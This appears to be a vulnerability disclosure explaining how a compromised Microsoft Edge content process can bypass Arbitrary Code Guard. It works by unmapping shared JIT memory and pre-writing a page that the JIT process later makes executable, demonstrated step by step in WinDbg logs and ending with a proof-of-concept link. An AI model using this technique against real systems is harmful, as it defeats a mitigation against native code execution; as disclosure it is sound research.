Background:

To implement ACG (https://blogs.windows.com/msedgedev/2017/02/23/mitigating-arbitrary-native-code-execution/#VM4y5oTSGCRde3sk.97), Edge uses a separate process for JIT compiling. This JIT Process is also responsible for mapping native code into the requesting Content Process.

In order to be able to write JITted (executable) data into the Content Process, JIT Process does the following:

1. It creates a shared memory object using CreateFileMapping()
2. It maps it into Content Process as PAGE_EXECUTE_READ and in the JIT proces as PAGE_READWRITE using MapViewOfFile2(). At this point the memory is reserved, but not yet committed.
3. When individual pages need to be written to they are first allocated from the region in step 2 using VirtualAllocEx(). This also marks the memory as committed.

The issue:

If a content process is compromised and the content process can predict on which address JIT process is going to call VirtualAllocEx() next (note: it is fairly predictable), content process can:

1. Unmap the shared memory mapped above above using UnmapViewOfFile()
2. Allocate a writable memory region on the same address JIT server is going to write and write an soon-to-be-executable payload there.
3. When JIT process calls VirtualAllocEx(), even though the memory is already allocated, the call is going to succeed and the memory protection is going to be set to PAGE_EXECUTE_READ.

Note #1: The content written in step 2 is going to survive the memory protection change.
Note #2: JIT server is going to write the JITted payload into its own "side" of the shared memory, so the content in the Content Process is not going to get immediately overwritten.

See the debug log below for a demonstration.

Debug log:

Let's attach one instance of WinDBG to JIT process and another to a Content Process.

Let's also verify that ACG is indeed applied for the Content Process. We can do this using Get-ProcessMitigation PowerShell command. See the output in the screenshot (note the "BlockDynamicCode: ON" field).

Now, in JIT Process, let's set a breakpoint on VirtualAllocEx() and wait.

0:020> bp kernelbase!virtualallocex
0:020> g

Soon the breakpoint is hit.

Breakpoint 0 hit
KERNELBASE!VirtualAllocEx:
00007fff`5590e170 4883ec38        sub     rsp,38h

We can examine the call stack to see where we are - we see we are in the Encode phase of ServerRemoteCodeGen() which is a function that Content Process calls on the JIT server when it wants to JIT a function or a loop body.

0:011> k
 # Child-SP          RetAddr           Call Site
00 000000c2`48cfcfe8 00007fff`4dff3104 KERNELBASE!VirtualAllocEx
01 000000c2`48cfcff0 00007fff`38752dcd EShims!NS_ACGLockdownTelemetry::APIHook_VirtualAllocEx+0x14
02 000000c2`48cfd030 00007fff`38752a16 chakra!Memory::PreReservedSectionAllocWrapper::Alloc+0xd5
03 000000c2`48cfd0b0 00007fff`3875233e chakra!Memory::PageSegmentBase<Memory::PreReservedSectionAllocWrapper>::AllocDecommitPages<BVStatic<272>,1>+0xea
04 000000c2`48cfd150 00007fff`38752464 chakra!Memory::PageAllocatorBase<Memory::PreReservedSectionAllocWrapper,Memory::SegmentBase<Memory::PreReservedSectionAllocWrapper>,Memory::PageSegmentBase<Memory::PreReservedSectionAllocWrapper> >::TryAllocDecommittedPages<1>+0x8e
05 000000c2`48cfd210 00007fff`38751e7a chakra!Memory::PageAllocatorBase<Memory::PreReservedSectionAllocWrapper,Memory::SegmentBase<Memory::PreReservedSectionAllocWrapper>,Memory::PageSegmentBase<Memory::PreReservedSectionAllocWrapper> >::SnailAllocPages<1>+0x4c
06 000000c2`48cfd2d0 00007fff`38751488 chakra!Memory::CustomHeap::CodePageAllocators<Memory::SectionAllocWrapper,Memory::PreReservedSectionAllocWrapper>::AllocPages+0x72
07 000000c2`48cfd340 00007fff`38751210 chakra!Memory::CustomHeap::Heap<Memory::SectionAllocWrapper,Memory::PreReservedSectionAllocWrapper>::AllocNewPage+0x68
08 000000c2`48cfd3c0 00007fff`38750e14 chakra!Memory::CustomHeap::Heap<Memory::SectionAllocWrapper,Memory::PreReservedSectionAllocWrapper>::Alloc+0x9c
09 000000c2`48cfd470 00007fff`38750cae chakra!EmitBufferManager<Memory::SectionAllocWrapper,Memory::PreReservedSectionAllocWrapper,CriticalSection>::NewAllocation+0x58
0a 000000c2`48cfd500 00007fff`388599dc chakra!JITOutput::RecordOOPNativeCodeSize+0x8e
0b 000000c2`48cfd590 00007fff`388a5506 chakra!Encoder::Encode+0x9dc
0c 000000c2`48cfd710 00007fff`389904e5 chakra!Func::TryCodegen+0x356
0d 000000c2`48cfdfb0 00007fff`3877c00e chakra!Func::Codegen+0xed
0e 000000c2`48cfe3e0 00007fff`3877be54 chakra!<lambda_869fb2da08ff617a0f58153cb1331989>::operator()+0x166
0f 000000c2`48cfe500 00007fff`3877bde2 chakra!ServerCallWrapper<<lambda_869fb2da08ff617a0f58153cb1331989> >+0x54
10 000000c2`48cfe550 00007fff`3877bd85 chakra!ServerCallWrapper<<lambda_869fb2da08ff617a0f58153cb1331989> >+0x4e
11 000000c2`48cfe5c0 00007fff`57006d13 chakra!ServerRemoteCodeGen+0x75
12 000000c2`48cfe630 00007fff`57069390 RPCRT4!Invoke+0x73
13 000000c2`48cfe690 00007fff`56f93718 RPCRT4!Ndr64StubWorker+0xbb0
14 000000c2`48cfed40 00007fff`56fb73b4 RPCRT4!NdrServerCallNdr64+0x38
15 000000c2`48cfed90 00007fff`56fb654e RPCRT4!DispatchToStubInCNoAvrf+0x24
16 000000c2`48cfede0 00007fff`56fb6f84 RPCRT4!RPC_INTERFACE::DispatchToStubWorker+0x1be
17 000000c2`48cfeeb0 00007fff`56fc0693 RPCRT4!RPC_INTERFACE::DispatchToStubWithObject+0x154
18 000000c2`48cfef50 00007fff`56fc1396 RPCRT4!LRPC_SCALL::DispatchRequest+0x183
19 000000c2`48cff030 00007fff`56fbd11e RPCRT4!LRPC_SCALL::HandleRequest+0x996
1a 000000c2`48cff140 00007fff`56fbe843 RPCRT4!LRPC_ADDRESS::HandleRequest+0x34e
1b 000000c2`48cff1f0 00007fff`56fecc58 RPCRT4!LRPC_ADDRESS::ProcessIO+0x8a3
1c 000000c2`48cff330 00007fff`594665ae RPCRT4!LrpcIoComplete+0xd8
1d 000000c2`48cff3d0 00007fff`594aeed9 ntdll!TppAlpcpExecuteCallback+0x22e
1e 000000c2`48cff450 00007fff`5946471c ntdll!TppDirectExecuteCallback+0xb9
1f 000000c2`48cff4c0 00007fff`57ea1fe4 ntdll!TppWorkerThread+0x47c
20 000000c2`48cff850 00007fff`5949ef91 KERNEL32!BaseThreadInitThunk+0x14
21 000000c2`48cff880 00000000`00000000 ntdll!RtlUserThreadStart+0x21

If we examine the registers we see the second param is 000002854f18c000 - this is the address VirtualAllocEx() is attempting to allocate.

0:011> r
rax=0000000040000010 rbx=000002854f18c000 rcx=0000000000000724
rdx=000002854f18c000 rsi=0000000000000008 rdi=0000024038924de0
rip=00007fff5590e170 rsp=000000c248cfcfe8 rbp=0000024038924fe8
 r8=0000000000001000  r9=0000000000001000 r10=0000000000000001
r11=0000000000000007 r12=000002854f18c000 r13=0000000000000000
r14=000000000000000c r15=0000000000000000

Let's leave the JIT Process alone for a while and move into the Content Process. Let's examine the memory around address 000002854f18c000 using !vadump:

BaseAddress:       000002854f100000
RegionSize:        0000000000017000
State:             00001000  MEM_COMMIT
Protect:           00000010  PAGE_EXECUTE
Type:              00040000  MEM_MAPPED

BaseAddress:       000002854f117000
RegionSize:        0000000000001000
State:             00001000  MEM_COMMIT
Protect:           00000001  PAGE_NOACCESS
Type:              00040000  MEM_MAPPED

BaseAddress:       000002854f118000
RegionSize:        0000000000074000
State:             00001000  MEM_COMMIT
Protect:           00000010  PAGE_EXECUTE
Type:              00040000  MEM_MAPPED

BaseAddress:       000002854f18c000
RegionSize:        0000000000004000
State:             00002000  MEM_RESERVE
Type:              00040000  MEM_MAPPED

BaseAddress:       000002854f190000
RegionSize:        0000000000010000
State:             00001000  MEM_COMMIT
Protect:           00000010  PAGE_EXECUTE
Type:              00040000  MEM_MAPPED

We see some executable memory regions starting from 000002854f100000 which happens to be the base address of the shared memory in the Content Process. Let's unmap it.

0:084> r rip=kernelbase!unmapviewoffile
0:084> r rcx=000002854f100000

After unmapping it, let's allocate the desired address and set it to PAGE_READWRITE so that we can write to it.

0:084> r rip=kernelbase!virtualalloc
0:084> r rcx=000002854f18c000 # desired address
0:084> r rdx=1000 # size
0:084> r r8=3000 # MEM_RESERVE | MEM_COMMIT
0:084> r r9=4 # PAGE_READWRITE

After VirtualAlloc() finishes, we can see it returned 000002854f180000

0:084> r rax
rax=000002854f180000

The returned address is a bit lower than the one we requested, but it doesn't matter since the allocated region is also going to be larger than we requested so it's going to cover the desired address. Let's take a look at the memory map again:

BaseAddress:       000002854f100000
RegionSize:        0000000000080000
State:             00010000  MEM_FREE
Protect:           00000001  PAGE_NOACCESS

BaseAddress:       000002854f180000
RegionSize:        000000000000d000
State:             00001000  MEM_COMMIT
Protect:           00000004  PAGE_READWRITE
Type:              00020000  MEM_PRIVATE

BaseAddress:       000002854f18d000
RegionSize:        000000000ff73000
State:             00010000  MEM_FREE
Protect:           00000001  PAGE_NOACCESS

We can see that at address 000002854f180000 there is a region of size 000000000000d000 that has PAGE_READWRITE access. Since we can now write to this address, let's do it:

0:084> ea 000002854f18c000 "ACG bypass"

Now, let's go back to the JIT Server process and let VirtualAllocEx() finish. Once it does, let's go back into the Content Process and examine the memory again:

BaseAddress:       000002854f100000
RegionSize:        0000000000080000
State:             00010000  MEM_FREE
Protect:           00000001  PAGE_NOACCESS

BaseAddress:       000002854f180000
RegionSize:        000000000000c000
State:             00001000  MEM_COMMIT
Protect:           00000004  PAGE_READWRITE
Type:              00020000  MEM_PRIVATE

BaseAddress:       000002854f18c000
RegionSize:        0000000000001000
State:             00001000  MEM_COMMIT
Protect:           00000010  PAGE_EXECUTE
Type:              00020000  MEM_PRIVATE

BaseAddress:       000002854f18d000
RegionSize:        000000000ff73000
State:             00010000  MEM_FREE
Protect:           00000001  PAGE_NOACCESS

We can now see some changes, specifically at address 000002854f18c000 there is now an executable memory region (PAGE_EXECUTE). Now we just need to make sure the content we wrote earlier is still there.

0:084> da 000002854f18c000
00000285`4f18c000  "ACG bypass"

That's it. We now have an executable page with the content we control, thus bypassing ACG.

A screenshot of WinDBG showing this final step is attached.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/44096.zip